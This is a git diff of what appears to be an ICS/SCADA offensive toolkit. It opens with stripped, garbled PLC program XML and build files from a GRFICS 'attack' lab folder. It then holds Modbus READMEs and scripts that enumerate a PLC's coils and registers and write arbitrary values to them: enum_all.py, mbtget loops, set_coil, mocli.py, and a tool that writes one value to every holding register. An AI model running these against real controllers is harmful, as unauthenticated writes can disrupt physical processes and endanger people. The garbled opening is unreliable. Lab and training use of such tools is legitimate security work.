+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + 